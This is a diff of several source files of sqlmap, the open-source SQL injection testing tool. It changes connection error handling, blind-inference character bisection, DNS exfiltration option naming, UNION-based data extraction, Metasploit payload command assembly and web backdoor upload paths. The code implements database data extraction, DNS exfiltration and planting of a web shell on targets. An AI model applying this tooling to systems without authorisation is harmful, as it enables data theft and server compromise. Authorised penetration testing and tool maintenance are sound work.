@@ -491,6 +488,8 @@ class Connect(object):
                 page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                 status = getUnicode(conn.msg)
 
+            kb.connErrorCounter = 0
+
             if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
                 refresh = extractRegexResult(META_REFRESH_REGEX, page)
 
@@ -564,7 +563,7 @@ class Connect(object):
             responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
 
             if responseHeaders:
-                logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+                logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
 
             logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
 
@@ -575,7 +574,8 @@ class Connect(object):
             elif conf.verbose > 5:
                 responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
 
-            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+            if not multipart:
+                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
 
             if ex.code == httplib.UNAUTHORIZED and not conf.ignore401:
                 errMsg = "not authorized, try to provide right HTTP "
@@ -591,7 +591,7 @@ class Connect(object):
                     processResponse(page, responseHeaders)
             elif ex.code == httplib.GATEWAY_TIMEOUT:
                 if ignoreTimeout:
-                    return None, None, None
+                    return None if not conf.ignoreTimeouts else "", None, None
                 else:
                     warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
                     if threadData.retriesCount < conf.retries and not kb.threadException:
@@ -624,10 +624,13 @@ class Connect(object):
                         kb.responseTimes.clear()
 
                 if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
                 warnMsg = "connection timed out to the target URL"
             elif "URLError" in tbMsg or "error" in tbMsg:
                 warnMsg = "unable to connect to the target URL"
+                match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
+                if match:
+                    warnMsg += " ('%s')" % match.group(1).strip()
             elif "NTLM" in tbMsg:
                 warnMsg = "there has been a problem with NTLM authentication"
             elif "BadStatusLine" in tbMsg:
@@ -646,16 +649,28 @@ class Connect(object):
             else:
                 warnMsg = "unable to connect to the target URL"
 
-            if "BadStatusLine" not in tbMsg:
+            if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
                 warnMsg += " or proxy"
 
+            with kb.locks.connError:
+                kb.connErrorCounter += 1
+
+                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
+                    message = "there seems to be a continuous problem with connection to the target. "
+                    message += "Are you sure that you want to continue "
+                    message += "with further target testing? [y/N] "
+                    kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
+
+                if kb.connErrorChoice is False:
+                    raise SqlmapConnectionException(warnMsg)
+
             if silent:
                 return None, None, None
             elif "forcibly closed" in tbMsg:
                 logger.critical(warnMsg)
                 return None, None, None
             elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
-                return None, None, None
+                return None if not conf.ignoreTimeouts else "", None, None
             elif threadData.retriesCount < conf.retries and not kb.threadException:
                 warnMsg += ". sqlmap is going to retry the request"
                 if not retrying:
@@ -695,7 +710,7 @@ class Connect(object):
             responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
 
         if responseHeaders:
-            logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+            logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
 
         if not skipLogTraffic:
             logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
@@ -705,7 +720,8 @@ class Connect(object):
         elif conf.verbose > 5:
             responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
 
-        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+        if not multipart:
+            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
 
         return page, responseHeaders, code
 
@@ -873,18 +889,21 @@ class Connect(object):
             uri = conf.url
 
         if value and place == PLACE.CUSTOM_HEADER:
-            auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+            if value.split(',')[0].capitalize() == PLACE.COOKIE:
+                cookie = value.split(',', 1)[1]
+            else:
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
 
         if conf.csrfToken:
             def _adjustParameter(paramString, parameter, newValue):
                 retVal = paramString
                 match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
                 if match:
-                    retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
                 else:
                     match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
                     if match:
-                        retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
+                        retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
                 return retVal
 
             page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
@@ -904,7 +923,7 @@ class Connect(object):
                     for _ in conf.cj:
                         if _.name == conf.csrfToken:
                             token = _.value
-                            if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
+                            if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                 if post:
                                     post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token)
                                 elif get:
@@ -986,7 +1005,7 @@ class Connect(object):
 
             while True:
                 try:
-                    compiler.parse(conf.evalCode.replace(';', '\n'))
+                    compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
                 except SyntaxError, ex:
                     original = replacement = ex.text.strip()
                     for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
@@ -1076,7 +1095,7 @@ class Connect(object):
                 dataToStdout(" (done)\n")
 
             elif not kb.testMode:
-                warnMsg = "it is very important to not stress the network adapter "
+                warnMsg = "it is very important to not stress the network connection "
                 warnMsg += "during usage of time-based payloads to prevent potential "
                 warnMsg += "disruptions "
                 singleTimeWarnMessage(warnMsg)
@@ -1135,7 +1154,7 @@ class Connect(object):
                 warnMsg = "site returned insanely large response"
                 if kb.testMode:
                     warnMsg += " in testing phase. This is a common "
-                    warnMsg += "behavior in custom WAF/IDS/IPS solutions"
+                    warnMsg += "behavior in custom WAF/IPS/IDS solutions"
                 singleTimeWarnMessage(warnMsg)
 
         if conf.secondOrder:
@@ -1143,6 +1162,7 @@ class Connect(object):
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
         threadData.lastPage = page
+        threadData.lastCode = code
 
         kb.originalCode = kb.originalCode or code
 

lib/request/direct.py

@@ -24,6 +24,7 @@ from lib.core.dicts import SQL_STATEMENTS
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
+from lib.core.enums import TIMEOUT_STATE
 from lib.core.settings import UNICODE_ENCODING
 from lib.utils.timeout import timeout
 
@@ -51,10 +52,14 @@ def direct(query, content=True):
     start = time.time()
 
     if not select and "EXEC " not in query.upper():
-        _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
+        timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
     elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
-        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
-        hashDBWrite(query, output, True)
+        output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
+        if state == TIMEOUT_STATE.NORMAL:
+            hashDBWrite(query, output, True)
+        elif state == TIMEOUT_STATE.TIMEOUT:
+            conf.dbmsConnector.close()
+            conf.dbmsConnector.connect()
     elif output:
         infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
         logger.info(infoMsg)

lib/request/dns.py

@@ -62,7 +62,10 @@ class DNSServer(object):
         self._check_localhost()
         self._requests = []
         self._lock = threading.Lock()
-        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        try:
+            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
+        except AttributeError:
+            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
         self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         self._socket.bind(("", 53))
         self._running = False

lib/request/httpshandler.py

@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
 
 import distutils.version
 import httplib
+import re
 import socket
 import urllib2
 
@@ -47,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
             for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                 try:
                     sock = create_sock()
@@ -87,8 +88,9 @@ class HTTPSConnection(httplib.HTTPSConnection):
 
         if not success:
             errMsg = "can't establish SSL connection"
-            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.10"):
-                errMsg += " (please retry with Python >= 2.7.10)"
+            # Reference: https://docs.python.org/2/library/ssl.html
+            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
+                errMsg += " (please retry with Python >= 2.7.9)"
             raise SqlmapConnectionException(errMsg)
 
 class HTTPSHandler(urllib2.HTTPSHandler):

lib/request/inject.py

@@ -57,7 +57,7 @@ from lib.techniques.union.use import unionUse
 def _goDns(payload, expression):
     value = None
 
-    if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
+    if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
         if kb.dnsTest is None:
             dnsTest(payload)
 
@@ -284,7 +284,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
 
     outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
 
-    return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
+    return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
 
 def _goBooleanProxy(expression):
     """
@@ -293,7 +293,7 @@ def _goBooleanProxy(expression):
 
     initTechnique(kb.technique)
 
-    if conf.dnsName:
+    if conf.dnsDomain:
         query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
         query = agent.suffixQuery(query)
         payload = agent.payload(newValue=query)
@@ -413,7 +413,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                     count += 1
                     found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
 
-                if found and conf.dnsName:
+                if found and conf.dnsDomain:
                     _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
                     warnMsg = "option '--dns-domain' will be ignored "
                     warnMsg += "as faster techniques are usable "

lib/request/redirecthandler.py

@@ -71,7 +71,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
 
     def http_error_302(self, req, fp, code, msg, headers):
         content = None
-        redurl = self._get_header_redirect(headers)
+        redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
 
         try:
             content = fp.read(MAX_CONNECTION_TOTAL_SIZE)

lib/takeover/metasploit.py

@@ -429,10 +429,12 @@ class Metasploit:
                 self._payloadCmd += " X > \"%s\"" % outFile
         else:
             if extra == "BufferRegister=EAX":
-                self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
+                self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
 
                 if extra is not None:
                     self._payloadCmd += " %s" % extra
+
+                self._payloadCmd += " > \"%s\"" % outFile
             else:
                 self._payloadCmd += " -f exe > \"%s\"" % outFile
 

lib/takeover/web.py

@@ -116,7 +116,7 @@ class Web:
                 multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
                 multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
 
-            page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
+            page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
 
             if "File uploaded" not in page:
                 warnMsg = "unable to upload the file through the web file "
@@ -200,6 +200,15 @@ class Web:
         directories.extend(getAutoDirectories())
         directories = list(oset(directories))
 
+        path = urlparse.urlparse(conf.url).path or '/'
+        if path != '/':
+            _ = []
+            for directory in directories:
+                _.append(directory)
+                if not directory.endswith(path):
+                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
+            directories = _
+
         backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
         backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
 
@@ -217,8 +226,6 @@ class Web:
 
             if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                 directory = "/%s" % directory
-            else:
-                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
 
             if not directory.endswith('/'):
                 directory += '/'

lib/techniques/blind/inference.py

@@ -5,6 +5,7 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
+import re
 import threading
 import time
 
@@ -41,10 +42,11 @@ from lib.core.settings import INFERENCE_GREATER_CHAR
 from lib.core.settings import INFERENCE_EQUALS_CHAR
 from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
 from lib.core.settings import MAX_BISECTION_LENGTH
-from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
+from lib.core.settings import MAX_REVALIDATION_STEPS
 from lib.core.settings import NULL
 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
 from lib.core.settings import PARTIAL_VALUE_MARKER
+from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import RANDOM_INTEGER_MARKER
 from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
 from lib.core.threads import getCurrentThreadData
@@ -66,6 +68,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
     finalValue = None
     retrievedLength = 0
     asciiTbl = getCharset(charsetType)
+    threadData = getCurrentThreadData()
     timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
     retVal = hashDBRetrieve(expression, checkConf=True)
 
@@ -91,8 +94,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             return 0, retVal
 
     try:
-        # Set kb.partRun in case "common prediction" feature (a.k.a. "good
-        # samaritan") is used or the engine is called from the API
+        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
         if conf.predictOutput:
             kb.partRun = getPartRun()
         elif hasattr(conf, "api"):
@@ -104,8 +106,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             firstChar = len(partialValue)
         elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
             firstChar = 0
-        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
+        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
             firstChar = int(conf.firstChar) - 1
+            if kb.fileReadMode:
+                firstChar *= 2
         elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
             firstChar = int(firstChar) - 1
         else:
@@ -143,7 +147,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             length = None
 
         showEta = conf.eta and isinstance(length, int)
-        numThreads = min(conf.threads, length)
+        numThreads = min(conf.threads, length) or 1
 
         if showEta:
             progress = ProgressBar(maxValue=length)
@@ -197,22 +201,30 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
         def validateChar(idx, value):
             """
-            Used in time-based inference (in case that original and retrieved
-            value are not equal there will be a deliberate delay).
+            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
             """
 
+            validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
+
             if "'%s'" % CHAR_INFERENCE_MARK not in payload:
-                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
+                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
             else:
                 # e.g.: ... > '%c' -> ... > ORD(..)
                 markingValue = "'%s'" % CHAR_INFERENCE_MARK
                 unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
-                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
+                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
+
+            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
+
+            if result and timeBasedCompare:
+                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
+                if not result:
+                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
+                    singleTimeWarnMessage(warnMsg)
 
-            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
             incrementCounter(kb.technique)
 
-            return not result
+            return result
 
         def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
             """
@@ -254,9 +266,44 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             maxChar = maxValue = charTbl[-1]
             minChar = minValue = charTbl[0]
+            firstCheck = False
+            lastCheck = False
+            unexpectedCode = False
 
             while len(charTbl) != 1:
-                position = (len(charTbl) >> 1)
+                position = None
+
+                if charsetType is None:
+                    if not firstCheck:
+                        try:
+                            try:
+                                lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
+                            except IndexError:
+                                lastChar = None
+                            if 'a' <= lastChar <= 'z':
+                                position = charTbl.index(ord('a') - 1)  # 96
+                            elif 'A' <= lastChar <= 'Z':
+                                position = charTbl.index(ord('A') - 1)  # 64
+                            elif '0' <= lastChar <= '9':
+                                position = charTbl.index(ord('0') - 1)  # 47
+                        except ValueError:
+                            pass
+                        finally:
+                            firstCheck = True
+
+                    elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
+                        if charTbl[(len(charTbl) >> 1)] < ord(' '):
+                            try:
+                                # favorize last char check if current value inclines toward 0
+                                position = charTbl.index(1)
+                            except ValueError:
+                                pass
+                            finally:
+                                lastCheck = True
+
+                if position is None:
+                    position = (len(charTbl) >> 1)
+
                 posValue = charTbl[position]
                 falsePayload = None
 
@@ -279,6 +326,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                 incrementCounter(kb.technique)
 
+                if not timeBasedCompare:
+                    unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
+                    if unexpectedCode:
+                        warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
+                        singleTimeWarnMessage(warnMsg)
+
                 if result:
                     minValue = posValue
 
@@ -318,24 +371,25 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             retVal = minValue + 1
 
                             if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
-                                if timeBasedCompare and not validateChar(idx, retVal):
+                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                     if not kb.originalTimeDelay:
                                         kb.originalTimeDelay = conf.timeSec
 
-                                    kb.timeValidCharsRun = 0
-                                    if retried < MAX_TIME_REVALIDATION_STEPS:
+                                    threadData.validationRun = 0
+                                    if retried < MAX_REVALIDATION_STEPS:
                                         errMsg = "invalid character detected. retrying.."
                                         logger.error(errMsg)
 
-                                        if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
-                                            conf.timeSec += 1
-                                            warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
-                                            logger.warn(warnMsg)
+                                        if timeBasedCompare:
+                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
+                                                conf.timeSec += 1
+                                                warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
+                                                logger.warn(warnMsg)
 
-                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
-                                            dbgMsg = "turning off time auto-adjustment mechanism"
-                                            logger.debug(dbgMsg)
-                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
+                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
+                                                dbgMsg = "turning off time auto-adjustment mechanism"
+                                                logger.debug(dbgMsg)
+                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
 
                                         return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                     else:
@@ -345,8 +399,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                         return decodeIntToUnicode(retVal)
                                 else:
                                     if timeBasedCompare:
-                                        kb.timeValidCharsRun += 1
-                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
+                                        threadData.validationRun += 1
+                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                             dbgMsg = "turning back on time auto-adjustment mechanism"
                                             logger.debug(dbgMsg)
                                             kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
@@ -376,8 +430,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
         # Go multi-threading (--threads > 1)
         if conf.threads > 1 and isinstance(length, int) and length > 1:
-            threadData = getCurrentThreadData()
-
             threadData.shared.value = [None] * length
             threadData.shared.index = [firstChar]    # As list for python nested function scoping
             threadData.shared.start = firstChar
@@ -476,6 +528,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         # No multi-threading (--threads = 1)
         else:
             index = firstChar
+            threadData.shared.value = ""
 
             while True:
                 index += 1
@@ -551,7 +604,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 if kb.data.processChar:
                     val = kb.data.processChar(val)
 
-                partialValue += val
+                threadData.shared.value = partialValue = partialValue + val
 
                 if showEta:
                     progress.progress(time.time() - charStart, index)

lib/techniques/dns/test.py

@@ -24,7 +24,7 @@ def dnsTest(payload):
     if not kb.dnsTest:
         errMsg = "data retrieval through DNS channel failed"
         if not conf.forceDns:
-            conf.dnsName = None
+            conf.dnsDomain = None
             errMsg += ". Turning off DNS exfiltration support"
             logger.error(errMsg)
         else:

lib/techniques/dns/use.py

@@ -46,7 +46,7 @@ def dnsUse(payload, expression):
     count = 0
     offset = 1
 
-    if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
+    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
         output = hashDBRetrieve(expression, checkConf=True)
 
         if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
@@ -69,7 +69,7 @@ def dnsUse(payload, expression):
                 nulledCastedField = agent.hexConvertField(nulledCastedField)
                 expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
 
-                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
+                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
                 expressionUnescaped = unescaper.escape(expressionRequest)
 
                 if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
@@ -111,7 +111,7 @@ def dnsUse(payload, expression):
             debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
             logger.debug(debugMsg)
 
-    elif conf.dnsName:
+    elif conf.dnsDomain:
         warnMsg = "DNS data exfiltration method through SQL injection "
         warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
         singleTimeWarnMessage(warnMsg)

lib/techniques/error/use.py

@@ -246,7 +246,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
                 if len(status) > width:
                     status = "%s..." % status[:width - 3]
 
-                dataToStdout("%s\n" % status, True)
+                dataToStdout("%s\n" % status)
 
         if isinstance(num, int):
             expression = origExpr

lib/techniques/union/use.py

@@ -5,8 +5,10 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
+import binascii
 import re
 import time
+import xml.etree.ElementTree
 
 from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
@@ -46,8 +48,10 @@ from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
+from lib.core.settings import NULL
 from lib.core.settings import SQL_SCALAR_REGEX
 from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
@@ -62,15 +66,18 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
     threadData.resumed = retVal is not None
 
     if retVal is None:
-        # Prepare expression with delimiters
-        injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
-
-        # Forge the UNION SQL injection request
         vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
-        kb.unionDuplicates = vector[7]
-        kb.forcePartialUnion = vector[8]
-        query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
-        where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
+
+        if not kb.rowXmlMode:
+            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
+            kb.unionDuplicates = vector[7]
+            kb.forcePartialUnion = vector[8]
+            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
+            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
+        else:
+            where = vector[6]
+            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
+
         payload = agent.payload(newValue=query, where=where)
 
         # Perform the request
@@ -78,22 +85,57 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
         incrementCounter(PAYLOAD.TECHNIQUE.UNION)
 
-        # Parse the returned page to get the exact UNION-based
-        # SQL injection output
-        def _(regex):
-            return reduce(lambda x, y: x if x is not None else y, (\
-                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
-                    extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
-                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
-                    None)
+        if not kb.rowXmlMode:
+            # Parse the returned page to get the exact UNION-based
+            # SQL injection output
+            def _(regex):
+                return reduce(lambda x, y: x if x is not None else y, (\
+                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
+                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
+                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
+                        None)
 
